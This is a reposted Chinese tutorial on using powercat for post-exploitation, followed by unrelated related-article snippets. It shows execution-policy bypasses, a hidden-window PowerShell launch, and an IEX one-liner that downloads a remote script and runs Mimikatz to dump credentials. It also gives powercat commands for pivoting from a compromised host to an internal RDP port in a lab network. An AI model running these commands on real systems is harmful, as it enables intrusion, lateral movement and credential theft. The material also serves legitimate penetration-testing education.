powerCat進行常規tcp端口轉發

實戰中,我們也會遇到需要我們進行端口轉發的情況,比如已經拿下的目標機1是在dmz區,而目標1所在內網的其他目標只能通過目標1去訪問,這時候我們就需要端口轉發或者代理來進行后滲透。這次就要介紹一個加強版的nc,基于powershell的后滲透工具

Powercat

?

?

下載地址:Lhttps://github.com/besimorhino/powercat

?

0x01 powercat準備

首先得改一下ps的執行腳本權限

Set-ExecutionPolicy Bypass

?

?

然后直接執行我們的powercat腳本即可。

?

?

也可以通過常規三種繞過執行策略的方式執行ps腳本

?

本地權限繞過

PowerShell.exe?-ExecutionPolicy?Bypass?-File?xxx.ps1

本地隱藏權限繞過執行腳本

PowerShell.exe?-ExecutionPolicy?Bypass?-NoLogo?-Nonlnteractive?-NoProfile?-WindowStyle?Hidden(隱藏窗口)?-File?xxx.ps1

IEX下載遠程PS1腳本回來權限繞過執行

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"

所以,直接選擇最簡單的吧,也別下載了,直接遠程權限繞過,在Powershell?中執行:

IEX?(New-Object?System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

?

?

?

可以看到Powercat已經成功執行了

?

?

?

0x02 使用powercat端口轉發

?

先來看下參數

?

?

?

?

?

?

?

不過端口轉發中我們只需要其中幾個參數

命令解析:

-c?指定一個ip地址

-p?指定一個端口

-v?顯示詳情

-l?監聽模式,用于入站鏈接

-p?本地端口號

-e?程序重定向,跟nc一毛一樣

-v?顯示詳情

下面用實際例子來說明每個參數的作用

?

?

?

?

?

?

?

?

?

?

?

?

?

?

例子一:

?

環境: 192.168.190.135 ?windows2003開放了3389(目標機)

????192.168.190.149 ?windows8 (攻擊機)

?

192.168.190.135上的3389服務流量轉發到本地的9001端口,攻擊機用到的命令為:

?

powercat -c 192.168.190.135 -p 3389 -v -r tcp:9001

?

然后連接本地的9001端口,可以發現是轉發成功的。

?

?

例子二:

?

環境: 192.168.190.135 ?windows2003開放了3389(內網目標機)

????192.168.190.151 ?windows8 (外網目標機)(與內網目標機處一個內網)

192.168.190.149 ?windows8 (攻擊機)

Ps:假設攻擊機拿下了外網目標機的權限,想進一步內網滲透但是不能直接訪問內網目標機的3389服務,只能通過外網目標機訪問內網目標機的3389服務。

?

?

?

?

外網目標機執行:

powercat -c 192.168.190.135 -p 3389 -v -r tcp:6666

(連接內網目標機的3389端口,將流程轉到自己的6666端口)

?

?

?

攻擊機執行:

powercat -c 192.168.190.151 -p 6666 -v -r tcp:1111

(連接外網目標機的6666端口,把流程轉到本地的1111端口)

?

可以看到轉發成功。

?

轉載于:https://www.cnblogs.com/-qing-/p/10652351.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/387089.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/387089.shtml
英文地址,請注明出處:http://en.pswp.cn/news/387089.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Lecture 7 Hashing Table I

Hash |---Hash function: Division, Multiplication |---Collision: Chaining, Open addressing(Linear,Double hasing) Symbol-table problem: Table S holding n records pointer --> key|satelite data (record) Hashing: Hash function h maps keys “randomly”…

SpringCloud 微服務

一微服務架構概述1.1 微服務特性以及優點每個服務可以獨立運行在自己的進程里一系列獨立運行的微服務(goods,order,pay,user,search…)共同構建了整個系統每個服務為獨立的業務開發,一個微服務只關注某個特定的功能,例如用戶管理,商品管理微服…

window起別名

http://www.bagualu.net/wordpress/archives/1714 轉載于:https://www.cnblogs.com/wei-huan/p/10654026.html

vue在ie9中的兼容問題

問題總結 https://github.com/vuejs-templates/webpack/issues/260 首先npm install --save babel-polyfill然后在main.js中的最前面引入babel-polyfillimport babel-polyfill在index.html 加入以下代碼&#xff08;非必須&#xff09;<meta http-equiv"X-UA-Compatib…

Lecture 9 Random built Binary Search Trees BSTs

Random built Binary Search Trees BSTs E[hight] near 3logn Quick Sort? Relation to Quick Sort: BST sort & Quick sort make same comparisons but in a different order. Randomized BST Sort: 1. Randomly permute A 2. BST sort(A)

spring boot 帶遠程調試啟動方式

比如啟動service-system-0.0.1-SNAPSHOT.jar和service-file-0.0.1-SNAPSHOT.jar nohup java -Xdebug -Xrunjdwp:servery,transportdt_socket,address7999,suspendn -jar service-system-0.0.1-SNAPSHOT.jar > /dev/null 2>&1 &nohup java -Xdebug -Xrunjdwp:se…

文件讀寫

讀寫文件通常都是IO操作&#xff0c;Python內置了讀文件的函數&#xff0c;用法和C是兼容的。 讀寫文件前&#xff0c;我們先必須了解一下&#xff0c;在磁盤上讀寫文件的功能都是有操作系統提供的&#xff0c;現代操作系統不允許普通的程序直接操作磁盤&#xff0c;所以&#…

Vue項目中遇到了大文件分片上傳的問題

Vue項目中遇到了大文件分片上傳的問題&#xff0c;之前用過webuploader&#xff0c;索性就把Vue2.0與webuploader結合起來使用&#xff0c;封裝了一個vue的上傳組件&#xff0c;使用起來也比較舒爽。 上傳就上傳吧&#xff0c;為什么搞得那么麻煩&#xff0c;用分片上傳&#x…

NDK學習筆記-使用現有so動態庫

前面將的都是如何使用C/C文件生成so動態庫&#xff0c;那么在使用別人的so動態庫的時候應該怎么做呢&#xff1f;這篇文章就是使用一個變聲功能的動態庫&#xff0c;完成對于以有so動態庫的說明。 動態庫來源 在互聯網中&#xff0c;有著許許多多動態庫&#xff0c;很多廠商也對…

Spring cloud系列十四 分布式鏈路監控Spring Cloud Sleuth

1. 概述 Spring Cloud Sleuth實現對Spring cloud 分布式鏈路監控 本文介紹了和Sleuth相關的內容&#xff0c;主要內容如下&#xff1a; Spring Cloud Sleuth中的重要術語和意義&#xff1a;Span、Trance、AnnotationZipkin中圖形化展示分布式鏈接監控數據并說明字段意義Spring …

Linux源碼編譯安裝程序

一、程序的組成部分 Linux下程序大都是由以下幾部分組成&#xff1a; 二進制文件&#xff1a;也就是可以運行的程序文件 庫文件&#xff1a;就是通常我們見到的lib目錄下的文件 配置文件&#xff1a;這個不必多說&#xff0c;都知道 幫助文檔&#xff1a;通常是我們在linux下用…

selenium用法詳解

selenium用法詳解 selenium主要是用來做自動化測試&#xff0c;支持多種瀏覽器&#xff0c;爬蟲中主要用來解決JavaScript渲染問題。 模擬瀏覽器進行網頁加載&#xff0c;當requests,urllib無法正常獲取網頁內容的時候一、聲明瀏覽器對象 注意點一&#xff0c;Python文件名或者…

haoop筆記

8:00 2019/3/141&#xff1a;什么是hadoop? hadoop是解決大數據問題的一整套技術方案2&#xff1a;hadoop的組成? 核心框架 分布式文件系統 分布式計算框架 分布式資源分配框架 hadoop對象存儲 機器計算3&#xff1a;hadoop 云計算 大數據 微服務 人工智能關系 參見word學習…

Sleuth則是用來共方便的集成Zipkin。

簡述 使用 spring cloud 用到最多的是各種rest服務調用&#xff0c;Twitter的Zipkin 是一種實現分布式跟蹤解決方案&#xff0c;Sleuth則是用來共方便的集成Zipkin。調用跟蹤系統的業務場景 隨著服務的拆分&#xff0c;系統的模塊變得越來越多&#xff0c;不同的模塊可能由不同…

Spring Cloud 中 分布式事務解決方案 -- 阿里GTS的使用

1&#xff1a;依賴引入<!--gts相關--><!--數據庫連接--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>mysql&…

《HTTP 權威指南》筆記:第十五章 實體與編碼

&#xfffc; 如果把 「HTTP 報文」想象為因特網貨運系統的「箱子」,那么「HTTP 實體」就是報文中的實際的「貨物」. 其中,實體又包含了「實體首部」 和 「實體主體」,實體首部用于描述各種參數,實體主體就是原始貨物. 常見的實體首部 實體的大小: Content-Length 定義: 報文的…